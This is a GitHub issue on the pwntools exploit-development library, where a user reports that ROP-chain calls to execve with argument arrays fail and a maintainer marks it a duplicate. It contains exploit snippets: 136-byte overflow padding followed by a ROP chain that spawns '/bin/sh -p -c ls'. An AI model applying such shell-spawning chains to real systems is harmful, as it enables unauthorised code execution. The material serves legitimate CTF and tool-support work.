Gallopsled / pwntools

CTF framework and exploit development library
http://pwntools.com
Other
11.69k stars 1.67k forks source link

execve bug #2411

Open rommarius opened 1 month ago

rommarius commented 1 month ago

cant spawn a shell with arguments

rop = ROP(program, base=0x00007fffffffe400)
rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls']], 0])
chain_1  = b''
chain_1 += b'\x00'*136 # chain_1 += b'B'*6
chain_1 += rop.chain()
print(rop.dump())

with null terminated array also didn't work

rop.call('execve', [b'/bin/sh', [[b'/bin/sh'], [b'-p'], [b'-c'], [b'ls'], 0], 0])

this seems to work but complex parameters didn't

rop = ROP(program)
rop.execve(bin_sh, 0, 0)
chain_1  = b''
chain_1 += b'\x00'*136 # chain_1 += b'B'*6
chain_1 += rop.chain()
peace-maker commented 1 month ago

This appears to be a duplicate of #2409